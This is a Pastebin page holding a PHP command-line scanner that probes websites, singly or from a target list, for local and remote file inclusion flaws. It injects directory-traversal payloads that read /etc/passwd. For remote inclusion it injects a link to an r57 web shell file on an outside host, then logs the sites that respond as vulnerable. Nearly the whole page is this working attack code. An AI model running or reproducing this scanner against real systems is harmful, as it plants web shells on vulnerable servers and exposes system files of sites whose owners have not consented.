Advertisement
syst3m_h4x0r

Scan lfi-rfi

Aug 27th, 2017
6,178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.98 KB | None | 0 0
  1. <?php
  2. /*
  3. Coded by AdeRoot
  4. Simples scanner LFI - RFI
  5. Greetz:
  6. Default, Mathew, TheShow
  7. */
  8. echo " _                       \n";            
  9. echo "| |    ___  ___ __ _ _ __ \n";
  10. echo "| |   / __|/ __/ _` | '_ \ \n";
  11. echo "| |___\__ \ (_| (_| | | | |\n";
  12. echo "|_____|___/\___\__,_|_| |_|\n";
  13. echo " Coded by AdeRoot v1.0      \n\n";
  14. if($argc == 1) {
  15.         echo "Help parameter: | -h --help\n";
  16.         exit(1);
  17. }
  18. $passwd = array("=../../../../../../../../../../../../etc/passwd",
  19.              "=../../../../../../../../../../../../etc/passwd%00");
  20.  
  21. $rfi = "http://www.r57shell.net/shell/r57.txt?";
  22.  
  23. function help() {
  24.   echo "Options[*]:\n\n";
  25.   echo "DominioLFI:  | -d --dominio lfi\n";
  26.   echo "DominioRFI:  | -r --dominio rfi\n";
  27.   echo "ListaLFI:    | -l --lista lfi\n";
  28.   echo "ListaRFI:    | -i --lista rfi\n\n";
  29.   echo "LFI Single:                               RFI Single:\n\n";
  30.         echo "Usage: php lscan.php -d xxx             | Usage: php lscan.php -r xxx\n";
  31.         echo "Example: php lscan.php -d x/x.php?p=x   | Example: php lscan.php x/x.php?p=x\n";
  32.         echo "-----------------------------------------------------------------------------\n";
  33.         echo "LFI Lista:                                RFI Lista:                        \n\n";
  34.         echo "Usage: php lscan.php -l xxx             | Usage: php lscan.php -i xxx       \n";
  35.         echo "Example: php lscan.php -l lista.txt     | Example: php lscan.php -i lista.txt \n\n";
  36. }
  37.  
  38. set_time_limit(0);
  39. error_reporting(0);
  40.  
  41. $opts = getopt("hd:l:r:i:");
  42. foreach(array_keys($opts) as $opt) switch($opt) {
  43.  
  44.           case "h":
  45.           help();
  46.           break;
  47.  
  48.           case "d":
  49.           $dominio = $opts["d"];
  50.           $valor = strpos($dominio, "=");
  51.           $xpt = substr($dominio, 0, $valor);
  52.           foreach($passwd as $passwd1) {
  53.           $domain = $xpt.$passwd1;
  54.           post($domain);
  55.           }
  56.           break;
  57.  
  58.           case "l":
  59.           $lista = file_get_contents($opts["l"], "r");
  60.           $x = array_filter(explode("\n", $lista));
  61.           foreach($x as $dominio) {
  62.           $valor = strpos($dominio, "=");
  63.           $xpt = substr($dominio, 0, $valor);
  64.           foreach($passwd as $passwd1) {
  65.           $domain = $xpt.$passwd1;
  66.           for($i=0; $i <=$tr=count($domain)-1; $i++) {
  67.           post($domain);
  68.                   }
  69.                }
  70.            }
  71.            break;
  72.  
  73.           case "r";
  74.           $dominio = $opts["r"];
  75.           $valor = strpos($dominio, "=");
  76.           $xpt = substr($dominio, 0, $valor);
  77.           $domain = $xpt."=".$rfi;
  78.           post($domain);
  79.           break;
  80.  
  81.           case "i":
  82.           $lista = file_get_contents($opts["i"], "r");
  83.           $x = array_filter(explode("\n", $lista));
  84.           foreach($x as $dominio) {
  85.           $valor = strpos($dominio, "=");
  86.           $xpt = substr($dominio, 0, $valor);
  87.           $domain = $xpt. "=".$rfi;
  88.           for($i=0; $i <=$tr=count($domain)-1; $i++) {
  89.           post($domain);
  90.                 }
  91.            }
  92.        }
  93.  
  94.     function post($domain) {
  95.     if(preg_match("@http://@", $domain)){
  96.           $domain = $domain;
  97.            } else {
  98.          $domain = "http://".$domain;
  99.     }
  100.     $ch = curl_init();
  101.     curl_setopt($ch, CURLOPT_URL, $domain);
  102.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  103.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  104.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
  105.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0");
  106.     $exec = curl_exec($ch);
  107.     curl_close($ch);
  108.     echo $domain."=>";
  109.     if(preg_match_all("@root:x:@", $exec) || preg_match_all("@uname@", $exec) ) {
  110.         echo "Found\n\n";
  111.         file_put_contents("lfi-rfi.txt", $domain."\r\n", FILE_APPEND);
  112.     } else {
  113.         echo "Not Found\n\n";
  114.         }
  115.     }
  116.      if(isset($opts["d"]) || ($opts["l"]) || ($opts["r"]) || ($opts["i"])) {
  117.                 echo "Fim!\n";
  118.      }
  119. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement